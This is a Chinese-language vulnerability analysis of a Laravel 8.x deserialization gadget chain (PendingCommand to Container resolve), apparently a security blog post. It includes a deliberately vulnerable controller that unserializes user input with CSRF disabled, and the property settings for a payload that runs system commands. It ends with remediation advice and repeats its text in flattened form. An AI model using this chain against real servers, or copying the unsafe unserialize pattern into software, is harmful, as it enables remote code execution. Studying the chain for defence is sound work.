最新Laravel(8.x)反序列化漏洞
字数 927 2025-08-24 23:51:20

Laravel 8.x 反序列化漏洞分析与利用

漏洞概述

Laravel 8.x 版本中存在一个反序列化漏洞,攻击者可以通过精心构造的序列化数据在目标系统上执行任意代码。该漏洞利用链涉及多个Laravel核心类的不安全反序列化操作。

环境搭建

  1. 使用Composer安装最新版Laravel:
composer create-project --prefer-dist laravel/laravel laravel
  1. app/Http/Controllers中添加Test控制器,包含反序列化点:
// 示例反序列化点代码
public function index(Request $request) {
    unserialize(base64_decode($request->input('data')));
}
  1. routes/web.php中添加路由:
Route::get('/test', [TestController::class, 'index']);
  1. 注释掉app/Kernel.php中关于CSRF验证的部分(第38行)

漏洞分析

利用链

完整的利用链如下:

Illuminate\Testing\PendingCommand->__destruct()
↓
Illuminate\Testing\PendingCommand->run()
↓
Illuminate\Container\Container->make()
↓
Illuminate\Container\Container->resolve()

关键点分析

  1. 命令执行点Illuminate\Container\Container->resolve()方法中,当$extender$object可控时,可以进行代码执行:
protected function resolve($abstract, $parameters = [], $raiseEvents = true) {
    foreach ($this->getExtenders($abstract) as $extender) {
        $object = $extender($object, $this); // 关键执行点
    }
    return $object;
}
  1. 链首触发点Illuminate\Testing\PendingCommand->__destruct()方法会在对象销毁时自动调用:
public function __destruct() {
    if ($this->hasExecuted) {
        return;
    }
    $this->run(); // 触发后续利用链
}
  1. 参数控制

    • 通过$this->aliases控制$abstract的值
    • 通过$this->extenders控制回调函数
    • 通过$this->instances控制命令参数
  2. 绕过限制

    • 需要设置$this->hasExecuted = false以触发run()方法
    • 需要设置$this->test为一个拥有expectedOutput属性的对象(如ExampleTest类)

EXP构造

完整的EXP需要设置以下属性:

  1. Illuminate\Testing\PendingCommand类:
$this->hasExecuted = false;
$this->app = Illuminate\Container\Container对象;
$this->test = ExampleTest对象; // 用于绕过mockConsoleOutput检查
  1. Illuminate\Container\Container类:
$this->aliases = [Kernel::class => "4ny0ne"];
$this->bindings = ["4ny0ne" => ["concrete" => "4ut15m"]];
$this->instances = ["4ut15m" => "要执行的命令"];
$this->extenders = ["4nyone" => "system"]; // 回调函数

漏洞修复

  1. 升级到Laravel最新版本
  2. 避免反序列化用户可控的数据
  3. 保持CSRF保护机制启用
  4. 使用安全的反序列化方法或白名单机制

总结

该漏洞利用Laravel框架中多个类的相互调用关系,通过精心构造的序列化数据实现任意代码执行。理解该漏洞需要对PHP反序列化机制和Laravel框架内部实现有深入了解。开发者应当避免反序列化不可信的数据源,并及时更新框架版本以修复已知漏洞。

Laravel 8.x 反序列化漏洞分析与利用 漏洞概述 Laravel 8.x 版本中存在一个反序列化漏洞,攻击者可以通过精心构造的序列化数据在目标系统上执行任意代码。该漏洞利用链涉及多个Laravel核心类的不安全反序列化操作。 环境搭建 使用Composer安装最新版Laravel: 在 app/Http/Controllers 中添加Test控制器,包含反序列化点: 在 routes/web.php 中添加路由: 注释掉 app/Kernel.php 中关于CSRF验证的部分(第38行) 漏洞分析 利用链 完整的利用链如下: 关键点分析 命令执行点 : Illuminate\Container\Container->resolve() 方法中,当 $extender 与 $object 可控时,可以进行代码执行: 链首触发点 : Illuminate\Testing\PendingCommand->__destruct() 方法会在对象销毁时自动调用: 参数控制 : 通过 $this->aliases 控制 $abstract 的值 通过 $this->extenders 控制回调函数 通过 $this->instances 控制命令参数 绕过限制 : 需要设置 $this->hasExecuted = false 以触发 run() 方法 需要设置 $this->test 为一个拥有 expectedOutput 属性的对象(如 ExampleTest 类) EXP构造 完整的EXP需要设置以下属性: Illuminate\Testing\PendingCommand 类: Illuminate\Container\Container 类: 漏洞修复 升级到Laravel最新版本 避免反序列化用户可控的数据 保持CSRF保护机制启用 使用安全的反序列化方法或白名单机制 总结 该漏洞利用Laravel框架中多个类的相互调用关系,通过精心构造的序列化数据实现任意代码执行。理解该漏洞需要对PHP反序列化机制和Laravel框架内部实现有深入了解。开发者应当避免反序列化不可信的数据源,并及时更新框架版本以修复已知漏洞。